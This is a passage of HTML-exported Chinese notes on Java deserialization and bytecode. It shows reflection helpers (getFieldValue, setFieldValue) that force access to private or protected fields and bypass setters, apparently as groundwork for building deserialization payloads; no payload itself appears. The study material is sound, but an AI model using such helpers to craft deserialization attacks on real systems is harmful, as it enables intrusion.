&#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;]&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">makeAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> result </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>result </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalAccessException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//log.error(&#34;getFieldValue:&#34;, e);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> result</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">直接设置对象属性值,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">忽略</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> private</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">protected </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">修饰符,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">也不经过</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> setter</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param fieldName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param value</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setFieldValue</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> fieldName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> value</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> field </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> fieldName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

